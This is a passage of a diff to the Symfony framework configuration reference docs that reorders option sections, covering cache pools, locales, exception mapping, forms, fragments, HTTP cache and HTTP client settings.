+There's also a special adapter called ``cache.adapter.array`` which stores
+contents in memory using a PHP array and it's used to disable caching (mostly on
+the ``dev`` environment).
 
-**type**: ``boolean`` **default**: ``true`` when the debug mode is enabled, ``false`` otherwise.
+.. tip::
 
-If ``true``, Symfony adds a ``X-Robots-Tag: noindex`` HTTP tag to all responses
-(unless your own app adds that header, in which case it's not modified). This
-`X-Robots-Tag HTTP header`_ tells search engines to not index your web site.
-This option is a protection measure in case you accidentally publish your site
-in debug mode.
+    It might be tough to understand at the beginning, so to avoid confusion
+    remember that all pools perform the same actions but on different medium
+    given the adapter they are based on. Internally, a pool wraps the definition
+    of an adapter.
 
-.. _configuration-framework-trusted-hosts:
+default_doctrine_provider
+.........................
 
-trusted_hosts
-~~~~~~~~~~~~~
+**type**: ``string``
 
-**type**: ``array`` | ``string`` **default**: ``['%env(default::SYMFONY_TRUSTED_HOSTS)%']``
+The service name to use as your default Doctrine provider. The provider is
+available as the ``cache.default_doctrine_provider`` service.
 
-.. versionadded:: 7.2
+default_memcached_provider
+..........................
 
-    In Symfony 7.2, the default value of this option was changed from ``[]`` to the
-    value stored in the ``SYMFONY_TRUSTED_HOSTS`` environment variable.
+**type**: ``string`` **default**: ``memcached://localhost``
 
-A lot of different attacks have been discovered relying on inconsistencies
-in handling the ``Host`` header by various software (web servers, reverse
-proxies, web frameworks, etc.). Basically, every time the framework is
-generating an absolute URL (when sending an email to reset a password for
-instance), the host might have been manipulated by an attacker.
+The DSN to use by the Memcached provider. The provider is available as the ``cache.default_memcached_provider``
+service.
+
+default_pdo_provider
+....................
+
+**type**: ``string`` **default**: ``doctrine.dbal.default_connection``
+
+The service id of the database connection, which should be either a PDO or a
+Doctrine DBAL instance. The provider is available as the ``cache.default_pdo_provider``
+service.
+
+default_psr6_provider
+.....................
+
+**type**: ``string``
+
+The service name to use as your default PSR-6 provider. It is available as
+the ``cache.default_psr6_provider`` service.
+
+default_redis_provider
+......................
+
+**type**: ``string`` **default**: ``redis://localhost``
+
+The DSN to use by the Redis provider. The provider is available as the ``cache.default_redis_provider``
+service.
+
+directory
+.........
+
+**type**: ``string`` **default**: ``%kernel.cache_dir%/pools``
+
+The path to the cache directory used by services inheriting from the
+``cache.adapter.filesystem`` adapter (including ``cache.app``).
+
+pools
+.....
+
+**type**: ``array``
+
+A list of cache pools to be created by the framework extension.
 
 .. seealso::
 
-    You can read `HTTP Host header attacks`_ for more information about
-    these kinds of attacks.
+    For more information about how pools work, see :ref:`cache pools <component-cache-cache-pools>`.
 
-The Symfony :method:`Request::getHost() <Symfony\\Component\\HttpFoundation\\Request::getHost>`
-method might be vulnerable to some of these attacks because it depends on
-the configuration of your web server. One simple solution to avoid these
-attacks is to configure a list of hosts that your Symfony application can respond
-to. That's the purpose of this ``trusted_hosts`` option. If the incoming
-request's hostname doesn't match one of the regular expressions in this list,
-the application won't respond and the user will receive a 400 response.
+To configure a Redis cache pool with a default lifetime of 1 hour, do the following:
 
 .. configuration-block::
 
@@ -482,7 +647,11 @@ the application won't respond and the user will receive a 400 response.
 
         # config/packages/framework.yaml
         framework:
-            trusted_hosts:  ['^example\.com$', '^example\.org$']
+            cache:
+                pools:
+                    cache.mycache:
+                        adapter: cache.adapter.redis
+                        default_lifetime: 3600
 
     .. code-block:: xml
 
@@ -496,8 +665,13 @@ the application won't respond and the user will receive a 400 response.
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:trusted-host>^example\.com$</framework:trusted-host>
-                <framework:trusted-host>^example\.org$</framework:trusted-host>
+                <framework:cache>
+                    <framework:pool
+                        name="cache.mycache"
+                        adapter="cache.adapter.redis"
+                        default-lifetime="3600"
+                    />
+                </framework:cache>
                 <!-- ... -->
             </framework:config>
         </container>
@@ -508,60 +682,119 @@ the application won't respond and the user will receive a 400 response.
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            $framework->trustedHosts(['^example\.com$', '^example\.org$']);
+            $framework->cache()
+                ->pool('cache.mycache')
+                    ->adapters(['cache.adapter.redis'])
+                    ->defaultLifetime(3600);
         };
 
-Hosts can also be configured to respond to any subdomain, via
-``^(.+\.)?example\.com$`` for instance.
+adapter
+"""""""
+
+**type**: ``string`` **default**: ``cache.app``
+
+The service name of the adapter to use. You can specify one of the default
+services that follow the pattern ``cache.adapter.[type]``. Alternatively you
+can specify another cache pool as base, which will make this pool inherit the
+settings from the base pool as defaults.
+
+.. note::
+
+    Your service needs to implement the ``Psr\Cache\CacheItemPoolInterface`` interface.
+
+clearer
+"""""""
+
+**type**: ``string``
+
+The cache clearer used to clear your PSR-6 cache.
+
+.. seealso::
+
+    For more information, see :class:`Symfony\\Component\\HttpKernel\\CacheClearer\\Psr6CacheClearer`.
+
+default_lifetime
+""""""""""""""""
+
+**type**: ``integer`` | ``string``
+
+Default lifetime of your cache items. Give an integer value to set the default
+lifetime in seconds. A string value could be ISO 8601 time interval, like ``"PT5M"``
+or a PHP date expression that is accepted by ``strtotime()``, like ``"5 minutes"``.
+
+If no value is provided, the cache adapter will fallback to the default value on
+the actual cache storage.
+
+.. _reference-cache-pools-name:
+
+name
+""""
+
+**type**: ``prototype``
+
+Name of the pool you want to create.
+
+.. note::
 
-In addition, you can also set the trusted hosts in the front controller
-using the ``Request::setTrustedHosts()`` method::
+    Your pool name must differ from ``cache.app`` or ``cache.system``.
 
-    // public/index.php
-    Request::setTrustedHosts(['^(.+\.)?example\.com$', '^(.+\.)?example\.org$']);
+provider
+""""""""
 
-The default value for this option is an empty array, meaning that the application
-can respond to any given host.
+**type**: ``string``
 
-.. seealso::
+Overwrite the default service name or DSN respectively, if you do not want to
+use what is configured as ``default_X_provider`` under ``cache``. See the
+description of the default provider setting above for information on how to
+specify your specific provider.
 
-    Read more about this in the `Security Advisory Blog post`_.
+public
+""""""
 
-.. _reference-framework-form:
+**type**: ``boolean`` **default**: ``false``
 
-form
-~~~~
+Whether your service should be public or not.
 
-.. _reference-form-enabled:
+tags
+""""
 
-enabled
-.......
+**type**: ``boolean`` | ``string`` **default**: ``null``
 
-**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
+Whether your service should be able to handle tags or not.
+Can also be the service id of another cache pool where tags will be stored.
 
-Whether to enable the form services or not in the service container. If
-you don't use forms, setting this to ``false`` may increase your application's
-performance because less services will be loaded into the container.
+.. _reference-cache-prefix-seed:
 
-This option will automatically be set to ``true`` when one of the child
-settings is configured.
+prefix_seed
+...........
 
-.. note::
+**type**: ``string`` **default**: ``_%kernel.project_dir%.%kernel.container_class%``
 
-    This will automatically enable the `validation`_.
+This value is used as part of the "namespace" generated for the
+cache item keys. A common practice is to use the unique name of the application
+(e.g. ``symfony.com``) because that prevents naming collisions when deploying
+multiple applications into the same path (on different servers) that share the
+same cache backend.
 
-.. seealso::
+It's also useful when using `blue/green deployment`_ strategies and more
+generally, when you need to abstract out the actual deployment directory (for
+example, when warming caches offline).
 
-    For more details, see :doc:`/forms`.
+.. note::
 
-.. _reference-form-field-name:
+    The ``prefix_seed`` option is used at compile time. This means
+    that any change made to this value after container's compilation
+    will have no effect.
 
-field_name
-..........
+.. _reference-cache-system:
 
-**type**: ``string`` **default**: ``_token``
+system
+......
 
-This is the field name that you should give to the CSRF token field of your forms.
+**type**: ``string`` **default**: ``cache.adapter.system``
+
+The cache adapter used by the ``cache.system`` service. It supports the same
+adapters available for the ``cache.app`` service.
 
 .. _reference-framework-csrf-protection:
 
@@ -621,48 +854,47 @@ If you're using forms, but want to avoid starting your session (e.g. using
 forms in an API-only website), ``csrf_protection`` will need to be set to
 ``false``.
 
-.. _config-framework-error_controller:
-
-error_controller
-~~~~~~~~~~~~~~~~
+.. _config-framework-default_locale:
 
-**type**: ``string`` **default**: ``error_controller``
+default_locale
+~~~~~~~~~~~~~~
 
-This is the controller that is called when an exception is thrown anywhere in
-your application. The default controller
-(:class:`Symfony\\Component\\HttpKernel\\Controller\\ErrorController`)
-renders specific templates under different error conditions (see
-:doc:`/controller/error_pages`).
+**type**: ``string`` **default**: ``en``
 
-esi
-~~~
+The default locale is used if no ``_locale`` routing parameter has been
+set. It is available with the
+:method:`Request::getDefaultLocale <Symfony\\Component\\HttpFoundation\\Request::getDefaultLocale>`
+method.
 
 .. seealso::
 
-    You can read more about Edge Side Includes (ESI) in :ref:`edge-side-includes`.
-
-.. _reference-esi-enabled:
+    You can read more information about the default locale in
+    :ref:`translation-default-locale`.
 
-enabled
-.......
+.. _reference-translator-enabled-locales:
+.. _reference-enabled-locales:
 
-**type**: ``boolean`` **default**: ``false``
+enabled_locales
+...............
 
-Whether to enable the edge side includes support in the framework.
+**type**: ``array`` **default**: ``[]`` (empty array = enable all locales)
 
-You can also set ``esi`` to ``true`` to enable it:
+Symfony applications generate by default the translation files for validation
+and security messages in all locales. If your application only uses some
+locales, use this option to restrict the files generated by Symfony and improve
+performance a bit:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/packages/framework.yaml
+        # config/packages/translation.yaml
         framework:
-            esi: true
+            enabled_locales: ['en', 'es']
 
     .. code-block:: xml
 
-        <!-- config/packages/framework.xml -->
+        <!-- config/packages/translation.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -672,74 +904,86 @@ You can also set ``esi`` to ``true`` to enable it:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:esi/>
+                <enabled-locale>en</enabled-locale>
+                <enabled-locale>es</enabled-locale>
             </framework:config>
         </container>
 
     .. code-block:: php
 
-        // config/packages/framework.php
+        // config/packages/translation.php
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            $framework->esi()->enabled(true);
+            $framework->enabledLocales(['en', 'es']);
         };
 
-fragments
-~~~~~~~~~
+An added bonus of defining the enabled locales is that they are automatically
+added as a requirement of the :ref:`special _locale parameter <routing-locale-parameter>`.
+For example, if you define this value as ``['ar', 'he', 'ja', 'zh']``, the
+``_locale`` routing parameter will have an ``ar|he|ja|zh`` requirement. If some
+user makes requests with a locale not included in this option, they'll see a 404 error.
 
-.. seealso::
+set_content_language_from_locale
+................................
 
-    Learn more about fragments in the
-    :ref:`HTTP Cache article <http_cache-fragments>`.
+**type**: ``boolean`` **default**: ``false``
 
-.. _reference-fragments-enabled:
+If this option is set to ``true``, the response will have a ``Content-Language``
+HTTP header set with the ``Request`` locale.
 
-enabled
-.......
+set_locale_from_accept_language
+...............................
 
 **type**: ``boolean`` **default**: ``false``
 
-Whether to enable the fragment listener or not. The fragment listener is
-used to render ESI fragments independently of the rest of the page.
+If this option is set to ``true``, the ``Request`` locale will automatically be
+set to the value of the ``Accept-Language`` HTTP header.
 
-This setting is automatically set to ``true`` when one of the child settings
-is configured.
+When the ``_locale`` request attribute is passed, the ``Accept-Language`` header
+is ignored.
 
-hinclude_default_template
-.........................
+disallow_search_engine_index
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``null``
+**type**: ``boolean`` **default**: ``true`` when the debug mode is enabled, ``false`` otherwise.
 
-Sets the content shown during the loading of the fragment or when JavaScript
-is disabled. This can be either a template name or the content itself.
+If ``true``, Symfony adds a ``X-Robots-Tag: noindex`` HTTP tag to all responses
+(unless your own app adds that header, in which case it's not modified). This
+`X-Robots-Tag HTTP header`_ tells search engines to not index your web site.
+This option is a protection measure in case you accidentally publish your site
+in debug mode.
 
-.. seealso::
+.. _config-framework-error_controller:
 
-    See :ref:`templates-hinclude` for more information about hinclude.
+error_controller
+~~~~~~~~~~~~~~~~
 
-.. _reference-fragments-path:
+**type**: ``string`` **default**: ``error_controller``
 
-path
-....
+This is the controller that is called when an exception is thrown anywhere in
+your application. The default controller
+(:class:`Symfony\\Component\\HttpKernel\\Controller\\ErrorController`)
+renders specific templates under different error conditions (see
+:doc:`/controller/error_pages`).
 
-**type**: ``string`` **default**: ``/_fragment``
+esi
+~~~
 
-The path prefix for fragments. The fragment listener will only be executed
-when the request starts with this path.
+.. seealso::
 
-.. _reference-http-client:
+    You can read more about Edge Side Includes (ESI) in :ref:`edge-side-includes`.
 
-http_client
-~~~~~~~~~~~
+.. _reference-esi-enabled:
 
-When the HttpClient component is installed, an HTTP client is available
-as a service named ``http_client`` or using the autowiring alias
-:class:`Symfony\\Contracts\\HttpClient\\HttpClientInterface`.
+enabled
+.......
 
-.. _reference-http-client-default-options:
+**type**: ``boolean`` **default**: ``false``
 
-This service can be configured using ``framework.http_client.default_options``:
+Whether to enable the edge side includes support in the framework.
+
+You can also set ``esi`` to ``true`` to enable it:
 
 .. configuration-block::
 
@@ -747,12 +991,7 @@ This service can be configured using ``framework.http_client.default_options``:
 
         # config/packages/framework.yaml
         framework:
-            # ...
-            http_client:
-                max_host_connections: 10
-                default_options:
-                    headers: { 'X-Powered-By': 'ACME App' }
-                    max_redirects: 7
+            esi: true
 
     .. code-block:: xml
 
@@ -766,61 +1005,43 @@ This service can be configured using ``framework.http_client.default_options``:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:http-client max-host-connections="10">
-                    <framework:default-options max-redirects="7">
-                        <framework:header name="X-Powered-By">ACME App</framework:header>
-                    </framework:default-options>
-                </framework:http-client>
+                <framework:esi/>
             </framework:config>
         </container>
 
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'max_host_connections' => 10,
-                'default_options' => [
-                    'headers' => [
-                        'X-Powered-By' => 'ACME App',
-                    ],
-                    'max_redirects' => 7,
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
 
-    .. code-block:: php-standalone
+        return static function (FrameworkConfig $framework): void {
+            $framework->esi()->enabled(true);
+        };
 
-        $client = HttpClient::create([
-            'headers' => [
-                'X-Powered-By' => 'ACME App',
-            ],
-            'max_redirects' => 7,
-        ], 10);
+.. _framework_exceptions:
 
-.. _reference-http-client-scoped-clients:
+exceptions
+~~~~~~~~~~
 
-Multiple pre-configured HTTP client services can be defined, each with its
-service name defined as a key under ``scoped_clients``. Scoped clients inherit
-the default options defined for the ``http_client`` service. You can override
-these options and can define a few others:
+**type**: ``array``
+
+Defines the :ref:`log level </logging>` and HTTP status code applied to the
+exceptions that match the given exception class:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            http_client:
-                scoped_clients:
-                    my_api.client:
-                        auth_bearer: secret_bearer_token
-                        # ...
+        # config/packages/exceptions.yaml
+        framework:
+            exceptions:
+                Symfony\Component\HttpKernel\Exception\BadRequestHttpException:
+                    log_level: 'debug'
+                    status_code: 422
 
     .. code-block:: xml
 
-        <!-- config/packages/framework.xml -->
+        <!-- config/packages/exceptions.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -830,808 +1051,895 @@ these options and can define a few others:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:http-client>
-                    <framework:scoped-client name="my_api.client" auth-bearer="secret_bearer_token"/>
-                </framework:http-client>
+                <framework:exception
+                    class="Symfony\Component\HttpKernel\Exception\BadRequestHttpException"
+                    log-level="debug"
+                    status-code="422"
+                />
+                <!-- ... -->
             </framework:config>
         </container>
 
     .. code-block:: php
 
-        // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'scoped_clients' => [
-                    'my_api.client' => [
-                        'auth_bearer' => 'secret_bearer_token',
-                        // ...
-                    ],
-                ],
-            ],
-        ]);
+        // config/packages/exceptions.php
+        use Symfony\Component\HttpKernel\Exception\BadRequestHttpException;
+        use Symfony\Config\FrameworkConfig;
 
-    .. code-block:: php-standalone
+        return static function (FrameworkConfig $framework): void {
+            $framework->exception(BadRequestHttpException::class)
+                ->logLevel('debug')
+                ->statusCode(422)
+            ;
+        };
 
-        $client = HttpClient::createForBaseUri('https://...', [
-            'auth_bearer' => 'secret_bearer_token',
-            // ...
-        ]);
+The order in which you configure exceptions is important because Symfony will
+use the configuration of the first exception that matches ``instanceof``:
 
-Options defined for scoped clients apply only to URLs that match either their
-`base_uri`_ or the `scope`_ option when it is defined. Non-matching URLs always
-use default options.
+.. code-block:: yaml
 
-Each scoped client also defines a corresponding named autowiring alias.
-If you use for example
-``Symfony\Contracts\HttpClient\HttpClientInterface $myApiClient``
-as the type and name of an argument, autowiring will inject the ``my_api.client``
-service into your autowired classes.
+        # config/packages/exceptions.yaml
+        framework:
+            exceptions:
+                Exception:
+                    log_level: 'debug'
+                    status_code: 404
+                # The following configuration will never be used because \RuntimeException extends \Exception
+                RuntimeException:
+                    log_level: 'debug'
+                    status_code: 422
 
-auth_basic
-..........
+You can map a status code and a set of headers to an exception thanks
+to the ``#[WithHttpStatus]`` attribute on the exception class::
 
-**type**: ``string``
+    namespace App\Exception;
 
-The username and password used to create the ``Authorization`` HTTP header
-used in HTTP Basic authentication. The value of this option must follow the
-format ``username:password``.
+    use Symfony\Component\HttpKernel\Attribute\WithHttpStatus;
 
-auth_bearer
-...........
+    #[WithHttpStatus(422, [
+       'Retry-After' => 10,
+       'X-Custom-Header' => 'header-value',
+    ])]
+    class CustomException extends \Exception
+    {
+    }
 
-**type**: ``string``
+It is also possible to map a log level on a custom exception class using
+the ``#[WithLogLevel]`` attribute::
 
-The token used to create the ``Authorization`` HTTP header used in HTTP Bearer
-authentication (also called token authentication).
+    namespace App\Exception;
 
-auth_ntlm
-.........
+    use Psr\Log\LogLevel;
+    use Symfony\Component\HttpKernel\Attribute\WithLogLevel;
 
-**type**: ``string``
+    #[WithLogLevel(LogLevel::WARNING)]
+    class CustomException extends \Exception
+    {
+    }
 
-The username and password used to create the ``Authorization`` HTTP header used
-in the `Microsoft NTLM authentication protocol`_. The value of this option must
-follow the format ``username:password``. This authentication mechanism requires
-using the cURL-based transport.
+The attributes can also be added to interfaces directly::
 
-.. _reference-http-client-base-uri:
+    namespace App\Exception;
 
-base_uri
-........
+    use Symfony\Component\HttpKernel\Attribute\WithHttpStatus;
 
-**type**: ``string``
+    #[WithHttpStatus(422)]
+    interface CustomExceptionInterface
+    {
+    }
 
-URI that is merged into relative URIs, following the rules explained in the
-`RFC 3986`_ standard. This is useful when all the requests you make share a
-common prefix (e.g. ``https://api.github.com/``) so you can avoid adding it to
-every request.
+    class CustomException extends \Exception implements CustomExceptionInterface
+    {
+    }
 
-Here are some common examples of how ``base_uri`` merging works in practice:
+.. versionadded:: 7.1
 
-==========================  ==================  =============================
-``base_uri``                Relative URI        Actual Requested URI
-==========================  ==================  =============================
-http://example.org          /bar                http://example.org/bar
-http://example.org/foo      /bar                http://example.org/bar
-http://example.org/foo      bar                 http://example.org/bar
-http://example.org/foo/     /bar                http://example.org/bar
-http://example.org/foo/     bar                 http://example.org/foo/bar
-http://example.org          http://symfony.com  http://symfony.com
-http://example.org/?bar     bar                 http://example.org/bar
-http://example.org/api/v4   /bar                http://example.org/bar
-http://example.org/api/v4/  /bar                http://example.org/bar
-http://example.org/api/v4   bar                 http://example.org/api/bar
-http://example.org/api/v4/  bar                 http://example.org/api/v4/bar
-==========================  ==================  =============================
+    Support to use ``#[WithHttpStatus]`` and ``#[WithLogLevel]`` attributes
+    on interfaces was introduced in Symfony 7.1.
 
-bindto
-......
+.. _reference-framework-form:
 
-**type**: ``string``
+form
+~~~~
 
-A network interface name, IP address, a host name or a UNIX socket to use as the
-outgoing network interface.
+.. _reference-form-enabled:
 
-buffer
-......
+enabled
+.......
 
-**type**: ``boolean`` | ``Closure``
+**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
 
-Buffering the response means that you can access its content multiple times
-without performing the request again. Buffering is enabled by default when the
-content type of the response is ``text/*``, ``application/json`` or ``application/xml``.
+Whether to enable the form services or not in the service container. If
+you don't use forms, setting this to ``false`` may increase your application's
+performance because less services will be loaded into the container.
 
-If this option is a boolean value, the response is buffered when the value is
-``true``. If this option is a closure, the response is buffered when the
-returned value is ``true`` (the closure receives as argument an array with the
-response headers).
+This option will automatically be set to ``true`` when one of the child
+settings is configured.
 
-cafile
-......
+.. note::
 
-**type**: ``string``
+    This will automatically enable the `validation`_.
 
-The path of the certificate authority file that contains one or more
-certificates used to verify the other servers' certificates.
+.. seealso::
 
-capath
-......
+    For more details, see :doc:`/forms`.
 
-**type**: ``string``
+.. _reference-form-field-name:
 
-The path to a directory that contains one or more certificate authority files.
+field_name
+..........
 
-ciphers
+**type**: ``string`` **default**: ``_token``
+
+This is the field name that you should give to the CSRF token field of your forms.
+
+fragments
+~~~~~~~~~
+
+.. seealso::
+
+    Learn more about fragments in the
+    :ref:`HTTP Cache article <http_cache-fragments>`.
+
+.. _reference-fragments-enabled:
+
+enabled
 .......
 
-**type**: ``string``
+**type**: ``boolean`` **default**: ``false``
 
-A list of the names of the ciphers allowed for the TLS connections. They
-can be separated by colons, commas or spaces (e.g. ``'RC4-SHA:TLS13-AES-128-GCM-SHA256'``).
+Whether to enable the fragment listener or not. The fragment listener is
+used to render ESI fragments independently of the rest of the page.
 
-crypto_method
-.............
+This setting is automatically set to ``true`` when one of the child settings
+is configured.
 
-**type**: ``integer``
+hinclude_default_template
+.........................
 
-The minimum version of TLS to accept. The value must be one of the
-``STREAM_CRYPTO_METHOD_TLSv*_CLIENT`` constants defined by PHP.
+**type**: ``string`` **default**: ``null``
 
-.. _reference-http-client-retry-delay:
+Sets the content shown during the loading of the fragment or when JavaScript
+is disabled. This can be either a template name or the content itself.
 
-delay
-.....
+.. seealso::
 
-**type**: ``integer`` **default**: ``1000``
+    See :ref:`templates-hinclude` for more information about hinclude.
 
-The initial delay in milliseconds used to compute the waiting time between retries.
+.. _reference-fragments-path:
+
+path
+....
+
+**type**: ``string`` **default**: ``/_fragment``
+
+The path prefix for fragments. The fragment listener will only be executed
+when the request starts with this path.
+
+handle_all_throwables
+~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``true``
+
+When set to ``true``, the Symfony kernel will catch all ``\Throwable`` exceptions
+thrown by the application and will turn them into HTTP responses.
+
+html_sanitizer
+~~~~~~~~~~~~~~
+
+The ``html_sanitizer`` option (and its children) are used to configure
+custom HTML sanitizers. Read more about the options in the
+:ref:`HTML sanitizer documentation <html-sanitizer-configuration>`.
+
+.. _configuration-framework-http_cache:
+
+http_cache
+~~~~~~~~~~
+
+allow_reload
+............
+
+**type**: ``string``
 
-.. _reference-http-client-retry-enabled:
+Specifies whether the client can force a cache reload by including a
+Cache-Control "no-cache" directive in the request. Set it to ``true``
+for compliance with RFC 2616. (default: false)
 
-enabled
-.......
+allow_revalidate
+................
 
-**type**: ``boolean`` **default**: ``false``
+**type**: ``string``
 
-Whether to enable the support for retry failed HTTP request or not.
-This setting is automatically set to true when one of the child settings is configured.
+Specifies whether the client can force a cache revalidate by including a
+Cache-Control "max-age=0" directive in the request. Set it to ``true``
+for compliance with RFC 2616. (default: false)
 
-extra
+debug
 .....
 
-**type**: ``array``
-
-Arbitrary additional data to pass to the HTTP client for further use.
-This can be particularly useful when :ref:`decorating an existing client <extensibility>`.
+**type**: ``boolean`` **default**: ``%kernel.debug%``
 
-.. _http-headers:
+If true, exceptions are thrown when things go wrong. Otherwise, the cache will
+try to carry on and deliver a meaningful response.
 
-headers
-.......
+default_ttl
+...........
 
-**type**: ``array``
+**type**: ``integer``
 
-An associative array of the HTTP headers added before making the request. This
-value must use the format ``['header-name' => 'value0, value1, ...']``.
+The number of seconds that a cache entry should be considered fresh when no
+explicit freshness information is provided in a response. Explicit
+Cache-Control or Expires headers override this value. (default: 0)
 
-.. _reference-http-client-retry-http-codes:
+enabled
+.......
 
-http_codes
-..........
+**type**: ``boolean`` **default**: ``false``
 
-**type**: ``array`` **default**: :method:`Symfony\\Component\\HttpClient\\Retry\\GenericRetryStrategy::DEFAULT_RETRY_STATUS_CODES`
+private_headers
+...............
 
-The list of HTTP status codes that triggers a retry of the request.
+**type**: ``array``
 
-http_version
-............
+Set of request headers that trigger "private" cache-control behavior on responses
+that don't explicitly state whether the response is public or private via a
+Cache-Control directive. (default: Authorization and Cookie)
 
-**type**: ``string`` | ``null`` **default**: ``null``
+skip_response_headers
+.....................
 
-The HTTP version to use, typically ``'1.1'``  or ``'2.0'``. Leave it to ``null``
-to let Symfony select the best version automatically.
+**type**: ``array`` **default**: ``Set-Cookie``
 
-.. _reference-http-client-retry-jitter:
+Set of response headers that will never be cached even when the response is cacheable
+and public.
 
-jitter
-......
+stale_if_error
+..............
 
-**type**: ``float`` **default**: ``0.1`` (must be between 0.0 and 1.0)
+**type**: ``integer``
 
-This option adds some randomness to the delay. It's useful to avoid sending
-multiple requests to the server at the exact same time. The randomness is
-calculated as ``delay * jitter``. For example: if delay is ``1000ms`` and jitter
-is ``0.2``, the actual delay will be a number between ``800`` and ``1200`` (1000 +/- 20%).
+Specifies the default number of seconds (the granularity is the second) during
+which the cache can serve a stale response when an error is encountered
+(default: 60). This setting is overridden by the stale-if-error HTTP
+Cache-Control extension (see RFC 5861).
 
-local_cert
-..........
+stale_while_revalidate
+......................
 
-**type**: ``string``
+**type**: ``integer``
 
-The path to a file that contains the `PEM formatted`_ certificate used by the
-HTTP client. This is often combined with the ``local_pk`` and ``passphrase``
-options.
+Specifies the default number of seconds (the granularity is the second as the
+Response TTL precision is a second) during which the cache can immediately return
+a stale response while it revalidates it in the background (default: 2).
+This setting is overridden by the stale-while-revalidate HTTP Cache-Control
+extension (see RFC 5861).
 
-local_pk
-........
+trace_header
+............
 
 **type**: ``string``
 
-The path of a file that contains the `PEM formatted`_ private key of the
-certificate defined in the ``local_cert`` option.
+Header name to use for traces. (default: X-Symfony-Cache)
 
-.. _reference-http-client-retry-max-delay:
+trace_level
+...........
 
-max_delay
-.........
+**type**: ``string`` **possible values**: ``'none'``, ``'short'`` or ``'full'``
 
-**type**: ``integer`` **default**: ``0``
+For 'short', a concise trace of the main request will be added as an HTTP header.
+'full' will add traces for all requests (including ESI subrequests).
+(default: 'full' if in debug; 'none' otherwise)
 
-The maximum amount of milliseconds initial to wait between retries.
-Use ``0`` to not limit the duration.
+.. _reference-http-client:
 
-max_duration
-............
+http_client
+~~~~~~~~~~~
 
-**type**: ``float`` **default**: ``0``
+When the HttpClient component is installed, an HTTP client is available
+as a service named ``http_client`` or using the autowiring alias
+:class:`Symfony\\Contracts\\HttpClient\\HttpClientInterface`.
 
-The maximum execution time, in seconds, that the request and the response are
-allowed to take. A value lower than or equal to 0 means it is unlimited.
+.. _reference-http-client-default-options:
 
-max_host_connections
-....................
+This service can be configured using ``framework.http_client.default_options``:
 
-**type**: ``integer`` **default**: ``6``
+.. configuration-block::
 
-Defines the maximum amount of simultaneously open connections to a single host
-(considering a "host" the same as a "host name + port number" pair). This limit
-also applies for proxy connections, where the proxy is considered to be the host
-for which this limit is applied.
+    .. code-block:: yaml
 
-max_redirects
-.............
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            http_client:
+                max_host_connections: 10
+                default_options:
+                    headers: { 'X-Powered-By': 'ACME App' }
+                    max_redirects: 7
 
-**type**: ``integer`` **default**: ``20``
+    .. code-block:: xml
 
-The maximum number of redirects to follow. Use ``0`` to not follow any
-redirection.
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-.. _reference-http-client-retry-max-retries:
+            <framework:config>
+                <framework:http-client max-host-connections="10">
+                    <framework:default-options max-redirects="7">
+                        <framework:header name="X-Powered-By">ACME App</framework:header>
+                    </framework:default-options>
+                </framework:http-client>
+            </framework:config>
+        </container>
 
-max_retries
-...........
+    .. code-block:: php
 
-**type**: ``integer`` **default**: ``3``
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'http_client' => [
+                'max_host_connections' => 10,
+                'default_options' => [
+                    'headers' => [
+                        'X-Powered-By' => 'ACME App',
+                    ],
+                    'max_redirects' => 7,
+                ],
+            ],
+        ]);
 
-The maximum number of retries for failing requests. When the maximum is reached,
-the client returns the last received response.
+    .. code-block:: php-standalone
 
-.. _reference-http-client-retry-multiplier:
+        $client = HttpClient::create([
+            'headers' => [
+                'X-Powered-By' => 'ACME App',
+            ],
+            'max_redirects' => 7,
+        ], 10);
 
-multiplier
-..........
+.. _reference-http-client-scoped-clients:
 
-**type**: ``float`` **default**: ``2``
+Multiple pre-configured HTTP client services can be defined, each with its
+service name defined as a key under ``scoped_clients``. Scoped clients inherit
+the default options defined for the ``http_client`` service. You can override
+these options and can define a few others:
 
-This value is multiplied to the delay each time a retry occurs, to distribute
-retries in time instead of making all of them sequentially.
+.. configuration-block::
 
-no_proxy
-........
+    .. code-block:: yaml
 
-**type**: ``string`` | ``null`` **default**: ``null``
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            http_client:
+                scoped_clients:
+                    my_api.client:
+                        auth_bearer: secret_bearer_token
+                        # ...
 
-A comma separated list of hosts that do not require a proxy to be reached, even
-if one is configured. Use the ``'*'`` wildcard to match all hosts and an empty
